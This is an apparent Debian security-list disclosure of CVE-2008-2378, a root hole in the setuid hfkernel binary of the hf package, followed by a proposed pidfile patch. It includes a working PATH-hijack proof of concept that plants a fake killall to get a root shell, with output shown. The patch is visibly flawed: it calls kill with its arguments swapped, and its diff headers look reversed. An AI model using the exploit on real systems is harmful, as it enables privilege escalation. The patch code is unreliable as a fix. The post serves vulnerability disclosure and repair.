[Date Prev][Date Next] [Thread Prev][Thread Next] [Date Index] [Thread Index]

hf - CVE-2008-2378 - local root exploit



 The hf package, Described by Debian as an amateur-radio protocol suite
 using a soundcard as a modem, is a program that eventually becomes
 setuid(0), and has a trivial security hole in it.

 By default the package installs "/usr/bin/hfkernel" as a typical binary,
 but when first started via the program "hf" the binary is changed to
 be setuid(root).

 This is demonstrated:

skx@gold:~$ hf
Hello I am hf, the startscript for hfterm & hfkernel.
I look for them in /usr/bin. If wrong, edit me.
hfkernel must run with root rights.
The suid bit has to be set. Be aware that this can be a security hole.
Please do as root "chmod 4755 /usr/bin/hfkernel".
or start this script again as root.


 If you do start the program as root the permissions are changed:

skx@gold:~$ sudo hf
Hello I am hf, the startscript for hfterm & hfkernel.
I look for them in /usr/bin. If wrong, edit me.
hfkernel must run with root rights.
The suid bit has to be set. But be aware that this can be a security hole.
I will do this now "chmod 4755 /usr/bin/hfkernel".
For you, root, I will start only hfkernel for test purposes.
...

  Now the program is setuid:

skx@gold:~$ ls -l /usr/bin/hfkernel
-rwsr-xr-x 1 root root 244120 2008-05-07 19:37 /usr/bin/hfkernel


  Unfortunately the hfkernel program contains a trivial root hole:

int main(int argc, char *argv[])
{
        // snip
        while ((c = getopt(argc, argv, "a:M:c:klhip:m:nt:s:r:Rf23")) != -1)
            switch (c) {

            // snip

                case 'k':
                    system ("killall hfkernel");

            //
}

  Creating ~/bin/killall is sufficient to gain root privileges.

skx@gold:~$ echo -e '#!/bin/sh\n/bin/sh' > ~bin/killall
skx@gold:~$ chmod 755 ~/bin/killall
skx@gold:~$ hfkernel -k
sh-3.2# id
uid=1000(skx) gid=1000(skx) euid=0(root)


  This has been given the identifier CVE-2008-2378.

  Below is the patch that I've come up with to fix this hole, which
 is a simple pidfile approach.  Unless anybody has any comments
 I'll upload a fix for Etch on Monday/Tuesday.

Steve
--

--- hf-0.8/hfkernel/main.c	2006-12-22 10:44:23.000000000 +0000
+++ hf-0.8.orig/hfkernel/main.c	2008-11-01 10:33:44.000000000 +0000
@@ -7,19 +7,7 @@
  *      Copyright (C) 1996  Thomas Sailer (sailer@ife.ee.ethz.ch)
  *      Swiss Federal Institute of Technology (ETH), Electronics Lab
  *	modified by Gnther Montag
- *      This program is free software; you can redistribute it and/or modify
- *      it under the terms of the GNU General Public License as published by
- *      the Free Software Foundation; either version 2 of the License, or
- *      (at your option) any later version.
- *
- *      This program is distributed in the hope that it will be useful,
- *      but WITHOUT ANY WARRANTY; without even the implied warranty of
- *      MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- *      GNU General Public License for more details.
- *
- *      You should have received a copy of the GNU General Public License
- *      along with this program; if not, write to the Free Software
- *      Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ *      This program is free software; you can redistribute it and/or modify
 *      it under the terms of the GNU General Public License as published by
 *      the Free Software Foundation; either version 2 of the License, or
 *      (at your option) any later version.
 *
 *      This program is distributed in the hope that it will be useful,
 *      but WITHOUT ANY WARRANTY; without even the implied warranty of
 *      MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *      GNU General Public License for more details.
 *
 *      You should have received a copy of the GNU General Public License
 *      along with this program; if not, write to the Free Software
 *      Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
  *
  */
@@ -78,6 +66,11 @@
 #include "alsa.h"
 #endif /* HAVE_ALSA_ASOUNDLIB_H */
 
+#ifndef PID_FILE
+# define PID_FILE "/var/run/hfkernel.pid"
+#endif
+
+
 /* --------------------------------------------------------------------- */
 
 /* these variables take hfkernel's options */
@@ -154,6 +147,49 @@
 	}
 }
 
+void kill_daemon()
+{
+	FILE *f;
+	int pid;
+
+	if (!(f = fopen (PID_FILE, "r")))
+        {
+                 errstr( SEV_FATAL, "Failed to read from PID file");
+                  exit(1);
+        }
+	fscanf (f, "%d", &pid);
+	fclose (f);
+
+        kill( SIGKILL, pid );
+        unlink( PID_FILE );
+        exit(1);
+}
+
+
+int write_pid()
+{
+	char buf[20];
+	int fd;
+	long pid;
+
+	if ((fd = open (PID_FILE, O_CREAT | O_TRUNC | O_WRONLY, 0600)) == -1)
+	{
+                errstr (SEV_FATAL, "cannot open pidfile for writing ");
+                exit(1);
+	}
+        else
+        {
+		pid = getpid ();
+		snprintf (buf, sizeof (buf), "%ld", (long) pid);
+		if (write (fd, buf, strlen (buf)) != strlen (buf))
+                {
+                       errstr (SEV_FATAL, "cannot write to pidfile ");
+                       exit(1);
+                }
+		close(fd);
+	}
+	return pid;
+}
 
 /* --------------------------------------------------------------------- */
 
@@ -529,8 +565,8 @@
                     break;
 
                 case 'k':
-                    system ("killall hfkernel");
-
+                     kill_daemon();
+                     break;
                 case 'l':
                     logging = 1;
                     break;
@@ -635,6 +671,7 @@
 
                 exit(1);
         }
+
         if (logging)
                 openlog("hfkernel", LOG_PID, LOG_DAEMON);
 	printf("hfkernel %s starting...\n", PACKAGE_VERSION);
@@ -699,6 +736,8 @@
 
 	printf("Note: hfkernel is only part of the hf package.\n"); 
 	printf("It is controlled by the graphic terminal hfterm. To start them both, use the start script hf. In newer linuxes (kernel 2.6...) we need the syntax\n ´LD_ASDSUME_KERNEL=2.2.5 hfterm´, this is already prepared in the hf script. \n");
+        write_pid();
+
 	start_io_thread();
 	exit(0); }
 

Reply to: